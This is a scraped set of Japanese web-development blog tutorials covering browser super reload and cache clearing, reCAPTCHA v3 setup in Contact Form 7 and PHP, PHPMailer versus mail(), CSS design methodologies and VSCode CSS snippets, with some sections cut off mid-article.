Web制作を始めたばかりの方にとって、「スーパーリロード」や「キャッシュクリア」という言葉は少し難しそうに聞こえるかもしれません。しかし、これらはWeb制作を進める上でとても重要なスキルです。本記事では、その基本的な仕組みや使い方について分かりやすく解説します。 スーパーリロードとは｜ブラウザキャッシュを無視した再読み込み スーパーリロードとは、ブラウザに保存されたキャッシュデータを無視して、Webサーバーからすべてのファイルを強制的に再取得する操作のことです。通常のリロード（F5キー）ではキャッシュが優先されますが、スーパーリロードではCSS・JavaScript・画像などを含むすべてのリソースが最新の状態で読み込まれます。 ブラウザのスーパーリロードは、Web制作中にCSSやJavaScriptの変更が反映されないときに最も頻繁に使われます。ショートカットキー一つで実行でき、開発効率を大幅に向上させる基本テクニックです。 キャッシュとは？ まず、キャッシュについて理解しましょう。キャッシュとは、一度訪れたWebページのデータ（画像やCSSファイルなど）を一時的に保存する仕組みです。これにより、次回同じページを訪れた際、データを再ダウンロードせずに高速で表示することができます。 キャッシュのメリットは以下の通りです： ページの読み込み速度が向上する サーバーへの負荷が軽減される しかし、キャッシュにはデメリットもあります。それは、Webページの内容を更新しても古いデータが表示されてしまう可能性があることです。これが、スーパーリロードやキャッシュクリアが必要となる理由です。 スーパーリロードとは？ スーパーリロードとは、キャッシュを無視してWebページを再読み込みする操作のことです。これにより、最新のデータが確実に読み込まれます。 スーパーリロードの方法 以下は主要なブラウザでのスーパーリロードの方法です： Google Chrome Windows: Ctrl + F5 または Shift + F5 Mac: Command + Shift + R Firefox Windows: Ctrl + Shift + R Mac: Command + Shift + R Microsoft Edge Windows: Ctrl + F5 または Shift + F5 Safari Mac: Command + Option + R これらのショートカットキーを覚えておくと便利です。 キャッシュクリアとは？ キャッシュクリアは、ブラウザに保存されているキャッシュデータを削除する操作です。スーパーリロードよりもさらに確実な方法で、キャッシュ関連の問題を解決します。 キャッシュクリアの手順 Google Chromeを例に説明します： ブラウザの右上にある3つの点（メニュー）をクリック。 「設定」を選択。 「プライバシーとセキュリティ」セクションにある「閲覧履歴データの削除」をクリック。 「キャッシュされた画像とファイル」にチェックを入れ、期間を「全期間」に設定。 「データを削除」をクリック。 他のブラウザでも手順はほぼ同じです。公式サイトやヘルプページを参照すると詳細が確認できます。 スーパーリロードとキャッシュクリアの違い｜比較表で理解する スーパーリロードとキャッシュクリアは、どちらもキャッシュに関連する操作ですが、影響範囲と用途が異なります。以下の比較表で違いを確認しましょう。 比較項目スーパーリロードキャッシュクリア操作方法ショートカットキー（Ctrl+F5等）ブラウザ設定画面から手動操作影響範囲現在表示中のページのみブラウザに保存された全サイトのキャッシュ削除対象現在ページのCSS・JS・画像Cookie・キャッシュ画像・ファイル全般所要時間一瞬（ショートカットキーのみ）数クリック必要他サイトへの影響なしあり（他サイトのキャッシュも削除）CDNキャッシュ解消されない場合あり解消されない場合あり推奨シーンCSS・JSの変更確認（第一選択）スーパーリロードで解決しない場合 基本的な対処の順序は、まずスーパーリロード（F5キャッシュクリア）を試し、それでも解決しない場合にブラウザのキャッシュクリアを実行するのが効率的です。 毎回スーパーリロードが必要になるなら、キャッシュの指示そのものを見直したほうが早い場合があります。配信設定をヘッダーで判定する手順で、サーバーがどんな `cache-control` を返しているかを確認できます。 スーパーリロードとキャッシュクリアの使い分け スーパーリロード：簡単に最新のデータを取得したい場合に使用。 キャッシュクリア：キャッシュによる問題が複雑で、スーパーリロードでは解決できない場合に使用。 例えば、CSSやJavaScriptの変更が反映されない場合、まずスーパーリロードを試し、それでも問題が解決しなければキャッシュクリアを実行するのがおすすめです。 実際のWeb制作での活用例 例1: CSSが更新されない Webサイトのデザインを変更したのに、ブラウザで確認すると反映されていない。これは、古いCSSファイルがキャッシュに残っている可能性があります。この場合、スーパーリロードを試してみてください。 👉 キャッシュ以外の原因も考えられます。CSSが反映されない原因と対処法チェックリストも合わせて確認しましょう。 例2: JavaScriptのバグが解消されない JavaScriptファイルを修正しても動作が変わらない場合、キャッシュクリアを行うことで解決することが多いです。 例3: ユーザーに新しいデザインを見せたい 公開した新デザインをユーザーに確実に見せたい場合、サイト上で「スーパーリロードを試してください」や「キャッシュクリアをしてください」と案内を出すことも効果的です。 実務Tips（キャッシュ対応のベストプラクティス） 開発時は「キャッシュを無効化する」設定をブラウザDevToolsでONにしておく サイト更新後は、バージョン付きファイル名（例：style.css?v=2）でキャッシュを回避する サーバー側で Cache-Control ヘッダを適切に設定する（更新頻度に応じて） CDNを利用している場合は「CDNキャッシュのパージ」も確認する スマホ実機テスト時はシークレットモードを活用する よくある質問（FAQ） Q. F5とスーパーリロードの違いは？ F5キー（通常リロード）はブラウザキャッシュを利用してページを再表示するため、古いCSS・JavaScriptが表示されることがあります。一方、スーパーリロード（Ctrl+F5やShift+F5）はキャッシュを完全に無視してサーバーから最新ファイルを取得します。Web制作でCSSの変更が反映されない場合は、F5ではなくスーパーリロードを使いましょう。 Q. スーパーリロードと通常リロードの違いは？ A. 通常リロードはキャッシュを利用してページを再表示し、スーパーリロードはキャッシュを無視してサーバーから最新のファイルを取得します。 Q. スーパーリロードでも更新が反映されないのはなぜ？ A. サーバーやCDN側にキャッシュが残っている可能性があります。サーバーキャッシュを削除したり、別デバイスから確認すると解決する場合があります。 Q. キャッシュを削除するとどうなりますか？ A. 保存されていた画像やスクリプトが一度クリアされるため、次回アクセス時に再ダウンロードが行われます。そのため初回だけ読み込みが遅くなることがあります。 Q. どのブラウザでもショートカットキーは同じですか？ A. おおむね同じですが、Windowsは「Ctrl＋Shift＋R」、Macは「Command＋Shift＋R」が多くのブラウザで共通です。ただし一部は異なる場合もあります。 Q. スマホでスーパーリロードはできますか？ A. スマホブラウザには明確な「スーパーリロード」はありません。代わりにブラウザの設定からキャッシュを削除するか、シークレットモードを使う方法が一般的です。 注意点 キャッシュクリアを実行すると、他のサイトのキャッシュも削除されるため、再読み込みが遅くなることがあります。 ユーザーにキャッシュクリアを依頼する場合は、手順を分かりやすく説明しましょう。 Web制作時には、キャッシュを避けるためのツール（例えば、バージョニングやデバッグモード）を活用することも検討してください。 まとめ スーパーリロードとキャッシュクリアは、Web制作初心者にとって欠かせない知識です。これらを正しく使い分けることで、効率的に開発を進めることができます。実際にブラウザを操作しながら試してみて、自分のスキルとして身につけていきましょう。 疑問があれば、ぜひコメントでお知らせください。この記事があなたのWeb制作の一助となれば幸いです！ よくある質問（FAQ） Q. スーパーリロードとは何ですか？ スーパーリロードはブラウザのキャッシュを無視してページを再読み込みする操作です。通常のリロード（F5）ではキャッシュされたCSS/JSが使われますが、スーパーリロード（Ctrl+Shift+R / Cmd+Shift+R）はサーバーから最新ファイルを取得します。 Q. キャッシュクリアの方法は？ ブラウザの設定メニューから閲覧データを削除するか、デベロッパーツールのNetworkタブで「Disable cache」にチェックを入れます。開発中は「Disable cache」をオンにしておくと、常に最新のCSS/JSが反映されて効率的です。 ### [reCAPTCHA導入手順｜Contact Form 7とPHPフォームの安全対策ガイド｜スパム防止に最適](https://codequest.work/recaptcha-integration-contact-form-7-and-php/) スパム対策は、フォームを運営する際に欠かせない要素です。特に、スパムボットによる自動送信を防ぐためにGoogleの提供する「reCAPTCHA」を活用するのは有効な手段の一つです。本記事では、WordPressプラグイン「Contact Form 7」と手動でPHPを使う2つの方法でreCAPTCHAを実装する手順を解説します。 reCAPTCHAとは？ reCAPTCHAはGoogleが提供するスパム対策ツールで、フォームの送信時に人間とボットを識別する機能を持っています。種類として以下があります： reCAPTCHA v2: チェックボックスをクリックするタイプ。 reCAPTCHA v3: ユーザー操作を不要にしてスコアで判定。 Invisible reCAPTCHA: 非表示で動作するタイプ。 reCAPTCHA v2とv3の違い 特徴reCAPTCHA v2reCAPTCHA v3操作性チェックボックスのクリックが必要完全自動でユーザー操作が不要判定方法ユーザーのアクションに基づくスコア（0.0〜1.0）で信頼度を数値化適用例小規模なフォームやシンプルな使用場面大規模なシステムやユーザー体験を損なわない用途 本記事では、最新技術でユーザー体験を向上させるreCAPTCHA v3を例に解説します。 Contact Form 7でのreCAPTCHA v3実装 1. Google reCAPTCHAの登録 Google reCAPTCHAの公式サイトにアクセスし、Googleアカウントでログインします。 「サイトを登録」ボタンをクリックし、以下の情報を入力します： ラベル: サイトを識別するための名前。 reCAPTCHAの種類: v3を選択します。 ドメイン: 使用するドメインを入力します。 「登録」ボタンをクリックすると、サイトキーとシークレットキーが生成されます。 2. WordPressでの設定 WordPress管理画面にログインし、左メニューから「お問い合わせ」>「インテグレーション」を選択します。 reCAPTCHAの項目で「インテグレーションのセットアップ」をクリックし、Googleで取得したサイトキーとシークレットキーを入力します。 設定を保存します。 3. フォームにreCAPTCHAを追加 reCAPTCHA v3はフォームに目に見えるチェックボックスが表示されないため、特別なショートコードは不要です。フォーム送信時に自動的にスコア判定が行われます。 4. 動作確認 実際にフォームを送信して、reCAPTCHAが正常に動作しスコアが適切に計測されていることを確認します。 PHPでのreCAPTCHA v3実装 1. Google reCAPTCHAの登録 Contact Form 7の手順と同様に、Google reCAPTCHAの公式サイトでサイトキーとシークレットキーを取得します。 2. フロントエンドのフォーム作成 以下はreCAPTCHA v3を組み込んだ基本的なHTMLフォームの例です： <form action="process.php" method="post"> <input type="text" name="name" placeholder="名前"> <input type="email" name="email" placeholder="メールアドレス"> <input type="hidden" id="g-recaptcha-response" name="g-recaptcha-response"> <input type="submit" value="送信"> </form> <script src="https://www.google.com/recaptcha/api.js?render=YOUR_SITE_KEY"></script> <script> grecaptcha.ready(function() { grecaptcha.execute('YOUR_SITE_KEY', {action: 'submit'}).then(function(token) { document.getElementById('g-recaptcha-response').value = token; }); }); </script> 3. サーバーサイドの検証 送信されたデータを検証するために、以下のコードを使用します： <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { $secretKey = "YOUR_SECRET_KEY"; $responseKey = $_POST["g-recaptcha-response"]; $userIP = $_SERVER["REMOTE_ADDR"]; $response = file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=$secretKey&response=$responseKey&remoteip=$userIP"); $responseKeys = json_decode($response, true); if ($responseKeys["success"] && $responseKeys["score"] >= 0.5) { echo "フォームが正常に送信されました！"; } else { echo "スパム検知！フォーム送信は無効です。"; } } ?> このコードはGoogleのAPIを使ってreCAPTCHAトークンを検証し、スパム送信を防ぎます。また、スコアを利用して信頼性を判断します。 4. 動作確認 フォームを送信し、期待通りに動作するかを確認してください。スコアが適切に計測され、スパムがブロックされれば成功です。 トラブルシューティング reCAPTCHAが表示されない場合: APIキーの設定ミスやJavaScriptのロードエラーを確認してください。 スコアが低すぎる場合: フォームの設計やアクションを見直し、reCAPTCHAの動作を調整してください。 フォーム送信が遅い: GoogleのAPIレスポンスに遅延が発生している可能性があります。 応用: 他のプラグインやツールとの連携 Contact Form 7以外のフォームプラグイン（例: WPFormsやNinja Forms）でも同様の手順でreCAPTCHA v3を導入できます。また、Invisible reCAPTCHAを利用することで、ユーザー体験を損なわずにスパム対策を強化することも可能です。 実務Tips（ベストプラクティス集） 設計指針をチームで統一する BEMやFLOCSSなど、どの設計手法を採用するかをプロジェクト開始時に明確化することが重要。 混在すると可読性が落ち、保守性が低下するため、ルールブックやコーディング規約を作成して共有しましょう。 命名ルールは厳格に BEMなら block__element--modifier の形を徹底。 曖昧な命名は後のリファクタリングコストを増大させます。 レイヤー分割を意識する FLOCSSやSMACSSは「レイヤーごとに役割を分割」する点が特徴。 UIデザインが大規模化するほど、レイヤー分けの恩恵が大きくなります。 コンポーネント化と再利用性 設計は再利用可能なUI部品を作ることが最終目的。 BEMやOOCSSでコンポーネント単位に分けて、別ページでも使い回せる状態を目指しましょう。 過度にルール化しない 小規模案件ではBEMの一部だけ、FLOCSSの構造だけ、など取捨選択してシンプルに導入した方が効率的。 設計ルールは「最小限で最大効果」を意識すると実務に適合します。 FAQ｜reCAPTCHA導入に関するよくある質問 Q. reCAPTCHA v2 と v3 の違いは何ですか？ A. v2は「私はロボットではありません」チェックや画像選択を伴う方式、v3はユーザー行動をスコア化して自動判定する方式です。UXを重視するならv3、確実なブロックを優先するならv2（チェックボックス/Invisible）が向きます。 Q. Contact Form 7 でreCAPTCHAを入れたら送信できない／反応がないのはなぜ？ A. サイトキー・シークレットキーの誤り、キャッシュ/最適化プラグインのJS圧縮競合、またはv3のスコア判定が厳しすぎる可能性があります。CF7・reCAPTCHAスクリプトを除外し、キーの再発行やv2への切替も検討してください。 Q. PHP単体での検証はどう書けばよいですか？ A. 送信時に取得したトークン g-recaptcha-response を、Googleの検証エンドポイントでサーバー側から検証します（secret とクライアントIPを送信）。戻り値の success（およびv3は score）を確認して処理を分岐します。 Q. v3 のスコアが低く正当な送信も弾かれます。対処法は？ A. 合格閾値（例：0.5→0.3）を緩和、送信ボタン周辺のみでトリガー、重要フィールドのサーバー検証強化、Akismet等の併用が有効です。改善しない場合は v2 Invisible に切り替えると実務上安定します。 Q. reCAPTCHAが表示されない／コンソールでエラーが出ます A. ドメイン設定の不一致、スクリプト読み込み順、CSP（Content Security Policy）の制限、テーマや他プラグインのJS競合が原因です。該当ページのドメインをGoogle管理画面に登録し、最小構成で読み込み検証して切り分けてください。 Q. reCAPTCHA導入後もスパムが減りません。どうすれば？ A. reCAPTCHAに加えてAkismet、ハニーポット（不可視フィールド）、簡易クイズ、送信回数/頻度制限、NGワード（URL多用等）のサーバー側バリデーションを組み合わせると防御力が大きく上がります。 まとめ reCAPTCHA v3は、ユーザー操作を最小限に抑えながらスパム対策を行うための優れたツールです。Contact Form 7とPHPのどちらでも簡単に導入できるため、フォームの種類や運用目的に応じて適切な方法を選び、セキュリティを向上させましょう。 関連記事：　PHPで安全なコンタクトフォームを作成｜CSRF・XSS対策と基本コード解説 あわせて読みたい：Contact Form 7 完全ガイド｜設置・タグ一覧・自動返信・迷惑メール対策 ### [PHPメールフォームの作り方｜初心者向けセキュアな送信方法と実装例｜安全対策付き](https://codequest.work/php-secure-contact-form/) PHPMailerシリーズ mail()関数はもう古い？PHPメール送信の落とし穴 PHPのmail()関数は、手軽にメールを送信できる関数として広く使われてきました。しかし、実運用の現場では「メールが届かない」「迷惑メール扱いされる」「Gmailに送れない」といった問題が頻発しています。 これらの問題は、mail()関数がサーバーに依存した実装であること、SMTP認証に対応していないことなどが原因です。 そのため、セキュアかつ確実にメールを届けるためには、PHPの定番ライブラリ「PHPMailer」を使うのが現代の標準とされています。 mail()関数のリスクと制限とは？ 初心者にとっては手軽なmail()関数ですが、次のようなデメリットがあります： ✅ SMTP認証がない → Gmailや多くのメールサービスでブロックされやすい ✅ 文字エンコーディングの調整が難しい → 日本語メールが文字化けすることも ✅ エラーハンドリングができない → 失敗しても成功したように見える ✅ 迷惑メール扱いされやすい → DKIM/SPFに非対応で正当性を証明できない これらの制限により、特にGmailやiCloudなど大手メールプロバイダへの送信成功率が非常に低くなってしまいます。 PHPMailerとは？なぜ推奨されるのか PHPMailerは、SMTP認証を利用して安全かつ確実にメールを送るためのPHPライブラリです。 特徴： ✅ SMTP認証に完全対応（TLS/SSL両方） ✅ HTMLメールも送信可能 ✅ 添付ファイル・CC/BCCも簡単に設定 ✅ Gmail APIとの連携も可能 ✅ 豊富なドキュメントと世界中での実績 "PHPでメールを送るならPHPMailer"と言われるのは、この信頼性と多機能性にあります。 【比較表】mail()関数 vs PHPMailer 機能項目mail()関数PHPMailerSMTP認証❌ 非対応✅ 対応迷惑メール回避❌ 難しい✅ DKIM/SPF設定可Gmail送信成功率❌ 低い✅ 高い（アプリパスワード要）HTMLメール送信⚠️ 非推奨✅ 対応添付ファイル❌ 面倒✅ 簡単に可能エラーハンドリング❌ なし✅ try-catch対応 PHPMailerの導入方法（Composer） composer require phpmailer/phpmailer 送信コードの例は以下の記事で解説しています： ▶ PHPMailerを使った安全なメール送信のサンプルはこちら まとめ：mail()関数は卒業しよう mail()関数は学習用途としては便利ですが、ビジネス用途や公開サイトの運用には適していません。安全で確実なメール配信のためには、PHPMailerやSMTPを使った構成が必須です。 PHPでのフォーム実装に慣れてきたら、PHPMailerへの移行をぜひ検討してみてください。 関連リンク 🔰 PHPMailerの基本的な使い方 実務Tips（ベストプラクティス集） 入力値のバリデーション filter_input() や preg_match() を使って、メールアドレスや電話番号の形式を必ずチェック。 必須項目は empty() チェックを徹底。 サニタイズとエスケープ HTML 出力時は htmlspecialchars() を適用。 メール本文生成時は不要なタグや改行コードを除去し、改行コードは \r\n に統一。 CSRF・スパム対策 フォーム送信時に CSRFトークン を生成して検証。 reCAPTCHA（v3 推奨）や Honeypot フィールドを導入して BOT 投稿を防止。 メール送信のベストプラクティス mail() よりも PHPMailer などのライブラリ利用が推奨。 From と Return-Path をドメイン一致にすることで迷惑メール判定を回避。 サーバーの送信制限に応じて SMTP 認証 を利用。 ログ管理と運用 エラーログは error_log() で専用ファイルに保存。 成功/失敗の送信ログを残すことでトラブルシューティングが容易に。 本番ではエラーメッセージをユーザーに直接表示せず、画面は「送信に失敗しました」とし、詳細はログに残す。 よくある質問 Q. mail() 関数はそのまま使って大丈夫ですか？ A. 簡単に使えますが、迷惑メール判定や文字化け、送信失敗の検知が難しいため、実務では PHPMailer や SwiftMailer などのライブラリが推奨です。 Q. フォームに reCAPTCHA は必須ですか？ A. 小規模サイトでは必須ではありませんが、BOT 送信が増えてきたら導入を検討してください。無料で利用でき、スパム防止効果が高いです。 Q. 文字化けを防ぐにはどうすれば良いですか？ A. 送信時に mb_language("Japanese") と mb_internal_encoding("UTF-8") を設定し、メールヘッダーに Content-Type: text/plain; charset=UTF-8 を明記してください。 Q. お問い合わせ内容をデータベースに保存した方が良いですか？ A. 規模や要件によります。送信ログを残したい場合や管理画面で一覧化したい場合は、MySQL/SQLite への保存も有効です。 Q. セキュリティ的に避けた方がいい NG 実装は？ A. - 入力値をそのままメール本文に埋め込む CSRF トークンなし From にユーザー入力のメールアドレスを直接設定 PHPMailerシリーズ一覧へ戻る ### [CSS設計の基本｜BEM・OOCSS・SMACSS・FLOCSSの違い](https://codequest.work/css-architecture-bem-oocss-smacss-flocss/) CSS設計とは、クラス名の付け方とファイルの分け方にルールを決めて、あとから読んでも安全に直せるCSSを保つための考え方です。BEM・OOCSS・SMACSS・FLOCSSは、そのルールをまとめた代表的な4つの手法（設計記法）です。 この記事は「CSSは書けるけれど、気づくとレイアウトが崩れる」「どこを直せば良いか分からず !important を足してしまう」という段階の方に向けた入門記事です。専門用語は初めて出てきたところでかみ砕き、コード例はそのまま試せる短さにしています。 先に結論を書くと、最初に覚えるべきはBEM（クラス名の付け方のルール）です。そのうえでファイルが増えてきたらFLOCSSやSMACSS（ファイルの分け方のルール）を足す、という順番が一番迷いにくい進め方です。4つは競合するライバルではなく、役割が違うため組み合わせて使えます。 1. 設計なしのCSSで実際に起きること CSS設計の必要性は、失敗例を見るのが一番わかりやすいです。次のコードは、ルールを決めずにCSSを書き足していったときによく起きる流れです。 /* トップページの見出し用に書いた */ .title { font-size: 24px; color: navy; } /* 数週間後、お知らせ一覧でも .title を使ったので小さくした → トップページの見出しまで小さくなってしまった */ .title { font-size: 16px; } /* 原因を追うのが大変なので、とりあえず上書きで解決 */ .title { font-size: 24px !important; } この状態になると、次の3つの問題が同時に発生します。 クラス名の衝突：.title や .box のような一般的すぎる名前は、別のページ・別の担当者と必ずぶつかります。 影響範囲が読めない：1行直すと、どこが変わるのか分からないため、直すこと自体が怖くなります。 !important の連鎖：上書きのための上書きが増え、最終的に誰も触れないCSSになります。 CSS設計は、この3つを事前に防ぐための決めごとです。難しい技術を新しく覚えるのではなく、「名前の付け方」と「置き場所」を最初に決めておくだけと考えて問題ありません。 2. CSS設計とは？ 4つの手法の位置づけ CSS設計の目的は、次の3つに集約されます。 一貫性：誰が書いても同じ形になり、読む側が迷わない 衝突の回避：クラス名が重複して意図しない場所が崩れるのを防ぐ 変更しやすさ：あとから機能を足すとき、影響範囲を限定できる ここで初心者がつまずきやすいのが、「BEM・OOCSS・SMACSS・FLOCSSのどれを選べばいいのか」という問いです。実はこの4つは担当している範囲が違うため、どれか1つを選ぶ必要はありません。役割で並べると次のように整理できます。 手法担当する範囲ひとことで言うとBEMクラス名の付け方名前を見れば構造が分かるようにするOOCSSスタイルの考え方使い回せる部品としてCSSを書くSMACSSCSSの分類役割ごとに5つのカテゴリに仕分けるFLOCSSCSSの分類＋ファイル構成3層に分けてディレクトリまで決める 実務でよくある組み合わせは「クラス名はBEM、ファイル構成はFLOCSS」です。名前のルールと置き場所のルールは別物なので、両方を同時に採用できます。 3. BEM（Block・Element・Modifier） BEMは、クラス名を「かたまり・部品・状態」の3つに分けて書く命名規則です。ロシアのYandex社で生まれた手法で、現在もっとも広く使われています。 BEMの3つのパーツ Block（ブロック）：単体で成り立つかたまり。例：カード、検索フォーム、ヘッダー Element（エレメント）：ブロックの中でしか意味を持たない部品。例：カードのタイトル、カードのボタン Modifier（モディファイア）：見た目や状態の違い。例：色違いのボタン、大きいサイズのカード この3つを、アンダースコア2つとハイフン2つでつなぎます。区切り文字が2つ重なっているのは、単語区切りのハイフン1つ（例：news-list）と見分けるためです。 block__element--modifier BEMの具体例 カード（block）の中に、タイトル・本文・ボタン（element）があり、ボタンだけ色違いにする（modifier）例です。 <div class="card"> <h2 class="card__title">カードタイトル</h2> <p class="card__text">カードの本文です。</p> <button class="card__button card__button--primary">クリック</button> </div> .card { border: 1px solid #ccc; padding: 20px; } .card__title { font-size: 18px; color: #333; } /* 共通の見た目はここに書く */ .card__button { background-color: gray; color: white; } /* 差分だけを modifier に書く（上書きが1行で済む） */ .card__button--primary { background-color: blue; } ポイントは、modifierに「変わる部分だけ」を書くことです。card__button--primary に色以外のスタイルまで書いてしまうと、共通部分の修正が2か所に分かれてしまいます。 BEMのメリットとデメリット メリットデメリットクラス名を見るだけで所属と役割が分かるクラス名が長くなりやすい名前が固有になるので衝突しにくいHTMLの記述量が増えるCSS側の入れ子が浅くなり、上書き事故が減るブロックの区切り方に慣れが必要 初心者がつまずきやすい点 もっとも多い誤解は、HTMLの入れ子と同じだけクラス名を深くしてしまうことです。BEMのelementは何段深くても1段で書きます。 /* NG：HTMLの階層をそのままつなげてしまう */ .card__list__item__link { } /* OK：ブロックからの1段で表す */ .card__link { } /* 深くなりすぎたら、別のブロックとして切り出す */ .card-list { } .card-list__item { } 4. OOCSS（Object Oriented CSS） OOCSSは、CSSを「使い回せる部品」として書くための考え方です。命名規則そのものではなく、スタイルの分け方の原則を示している点がBEMとの違いです。原則は次の2つです。 OOCSSの2つの原則 構造（structure）と見た目（skin）を分ける：余白や枠線などの骨組みと、色や影などの装飾を別のクラスにする 入れ物（container）と中身（content）を分ける：「サイドバーの中にあるボタン」ではなく「ボタン」として書き、置き場所に依存させない OOCSSの具体例 まず、原則を守らないとどうなるかを見てみます。 /* NG：置き場所に依存している → 同じボタンをフッターで使うと、また書き直しになる */ .sidebar .button { padding: 12px 24px; border-radius: 4px; background-color: blue; color: white; } これを、骨組みと装飾に分けて書き直します。 <button class="button button-primary">送信する</button> <button class="button button-ghost">キャンセル</button> /* 構造：どこに置いても変わらない骨組み */ .button { display: inline-block; padding: 12px 24px; border-radius: 4px; } /* 見た目：色だけを担当する */ .button-primary { background-color: blue; color: white; } .button-ghost { background-color: transparent; color: blue; } 骨組みを1か所にまとめたので、余白を変えたいときは .button だけを直せば済みます。色のパターンが増えても、追加するのは数行のクラスだけです。 OOCSSのメリットとデメリット メリットデメリット同じ部品をサイト全体で使い回せるどこまで分割するかの判断が必要共通部分の修正が1か所で済むHTMLに書くクラスが増えるCSSの総量が増えにくい命名規則は別途決める必要がある なお、OOCSSは単体で使うというより、BEMやFLOCSSの中に取り込まれている前提の考え方と捉えると理解しやすくなります。 5. SMACSS（Scalable and Modular Architecture for CSS） SMACSS（スマックス）は、CSSを役割ごとに5つのカテゴリへ仕分ける設計手法です。「このスタイルはどこに書けばいいのか」で迷わなくなるのが最大の利点です。 SMACSSの5カテゴリ カテゴリ書く内容接頭辞の例BaseリセットCSSやタグそのものの初期スタイルなし（body など）Layoutヘッダー・サイドバーなど大枠の配置l-Moduleボタン・カードなど使い回す部品なしState表示・非表示など状態の切り替えis-Theme配色変更などサイト全体の着せ替えtheme- SMACSSの具体例 /* Base：タグの初期状態 */ body { margin: 0; padding: 0; } /* Layout：大枠の配置には l- を付ける */ .l-header { width: 100%; background-color: #333; } /* Module：使い回す部品 */ .button { background-color: blue; color: white; } /* State：状態は is- で表す（JSから付け外しする） */ .is-hidden { display: none; } /* Theme：着せ替え */ .theme-dark .button { background-color: black; } 接頭辞（l- や is-）が付いていると、クラス名を見た瞬間に「これはレイアウト用」「これは状態用」と判断できます。この考え方は、次に紹介するFLOCSSにも引き継がれています。 SMACSSのメリットとデメリット メリットデメリットスタイルの置き場所が明確になる覚えるカテゴリが5つあり学習コストが高め大規模サイトでも破綻しにくいModuleとLayoutの線引きで迷いやすい状態管理（is-）の考え方が身につく小規模サイトには仕組みが大きすぎる 6. FLOCSS（Foundation Layout Object CSS） FLOCSS（フロックス）は、OOCSSやSMACSSの考え方を取り込んで日本で提案されたCSS設計手法です。名前は Foundation・Layout・Object の頭文字で、CSSを大きく3層に分けて管理します。国内の制作会社で採用例が多く、日本語のドキュメントが読めるのも初心者にはメリットです。 ### [CSSカスタムスニペット｜VSCodeのcss.jsonでプロジェクト初期設定を効率化する方法](https://codequest.work/css-custom-snippets-json/) CSSカスタムスニペットとは、VSCodeの css.json にJSON形式でCSSの定型コードを登録し、prefix（短縮キー）の入力でコードを展開できるエディタ機能のことです。リセットCSS・コンテナ設計・メディアクエリなど毎回書く定型コードを、1〜2文字で呼び出せます。 本記事では、VSCodeへの登録手順、すぐ使えるJSONサンプル5種、Emmet・CSSフレームワークとの違い、そして既存スニペットでよく見かける落とし穴まで解説します。 💡 本記事のスニペットは「リセットCSSの上に重ねる調整用」を想定しています。リセットCSS本体を自作してCDN配信したい方は、先に 自作リセットCSSの作り方｜GitHub + jsDelivr CDN を読むと理解がスムーズです。 CSSカスタムスニペットとは？ CSSカスタムスニペットは、VSCodeに標準搭載されている「ユーザースニペット機能」で登録するCSSテンプレートです。prefix に設定した文字列を入力すると、body に定義したCSSコードがエディタ内で展開されます。 Emmet（HTML/CSSの短縮記法）が 汎用的なプロパティ単位の短縮に強いのに対し、カスタムスニペットは プロジェクト固有の初期設定一式 を一発で書き出せる点が違います。両者は競合しないため、併用するのが現実的です。 VSCodeでcss.jsonにスニペット登録する3ステップ ユーザースニペット設定を開く：メニューから Code → Settings → Configure User Snippets（Windowsは File メニュー）を選択。 言語ファイルを指定：検索ボックスで css.json を選びます。プロジェクト単位に閉じ込めたい場合は「新しいスニペットファイル」を選択して .vscode/css.code-snippets を作成。 JSONを貼り付けて保存：後述のJSONサンプルを貼り付ければ準備完了。CSSファイル内で prefix に設定した文字（例: !）を入力し、Tab または Enter で展開されます。 📁 css.jsonの保存先：macOSは ~/Library/Application Support/Code/User/snippets/css.json、Windowsは %APPDATA%\Code\User\snippets\css.json です。 プロジェクト初期設定に使えるJSONサンプル集 ① グローバルリセット＋コンテナ リセットCSS（自作リセットCSSをGitHub + jsDelivrで配信する手順はこちら）の上に重ねる、プロジェクト初期の調整セットです。prefix に ! を割り当てています。 { "Custom CSS Adjustments": { "prefix": "!", "body": [ "/* iOS Safari の vw 計算バグ対策 */", "*, *::before, *::after {", " min-height: 0vw;", "}", "", "/* 画像のレスポンシブ対応 */", "img {", " max-width: 100%;", " height: auto;", "}", "", "/* レイアウトコンテナ */", ".container {", " width: min(100% - 32px, 1440px);", " margin-inline: auto;", "}" ], "description": "リセットCSS後の初期調整セット" } } ② Flexbox中央配置 使用頻度の高いFlexbox中央寄せ。flexc で展開します。 { "Flex Center": { "prefix": "flexc", "body": [ "display: flex;", "justify-content: center;", "align-items: center;" ], "description": "Flexboxで中央寄せ" } } ③ CSSグリッド雛形（自動折り返し） カード一覧などで使う自動折り返しグリッド。${1:280px} はタブストップで、展開後に Tab で値を編集できます。 { "Grid Auto Layout": { "prefix": "gridauto", "body": [ "display: grid;", "grid-template-columns: repeat(auto-fit, minmax(${1:280px}, 1fr));", "gap: ${2:24px};" ], "description": "自動折り返しグリッド" } } ④ メディアクエリ（ブレークポイント） $0 はカーソルの最終位置を意味し、展開直後にすぐスタイルを書き始められます。 { "Media SP": { "prefix": "mqsp", "body": [ "@media (max-width: 768px) {", " $0", "}" ], "description": "スマホ向けメディアクエリ" } } ⑤ CSSカスタムプロパティ(変数) カラー・スペース・角丸の共通値を :root にまとめる初期定義。cssvar で展開します。 { "CSS Variables Root": { "prefix": "cssvar", "body": [ ":root {", " --color-primary: #0f62fe;", " --color-text: #111;", " --space-1: 8px;", " --space-2: 16px;", " --space-3: 24px;", " --radius: 8px;", "}" ], "description": "CSS変数の初期定義" } } スニペット vs Emmet vs CSSフレームワーク 3つの手段はそれぞれ得意領域が異なります。プロジェクト初期テンプレを軽量に整えたいなら、カスタムスニペットが最もコストパフォーマンスに優れた選択肢です。 観点カスタムスニペットEmmetCSSフレームワーク初期設定JSONを書くだけデフォルト搭載npm install などが必要学習コスト低中（略記の暗記）高（クラス体系の習得）上書き耐性展開後は普通のCSS展開後は普通のCSS仕様に依存チーム共有.vscode配下に置けば可共有不要package.jsonで共有向いている用途プロジェクト初期テンプレプロパティ単位の短縮デザインシステム統一 運用ベストプラクティス グローバルとプロジェクトを使い分ける：個人で常用するテンプレはグローバル（css.json）、案件固有の値（カラー・ブレークポイント）はプロジェクト直下の .vscode/css.code-snippets。 prefixは衝突しない短さで：! や flexc のように2〜5文字。Emmetのデフォルト略記と被らないものを選ぶ。 descriptionは必ず書く：補完候補に説明文が表示されるため、チームメンバーが選びやすくなる。 タブストップ ${1:...} を活用：展開直後に値を編集できると入力速度が一段上がる。 よくある間違いと注意点 img { width: 100%; } の落とし穴 古いスニペット例によくある img { width: 100%; } 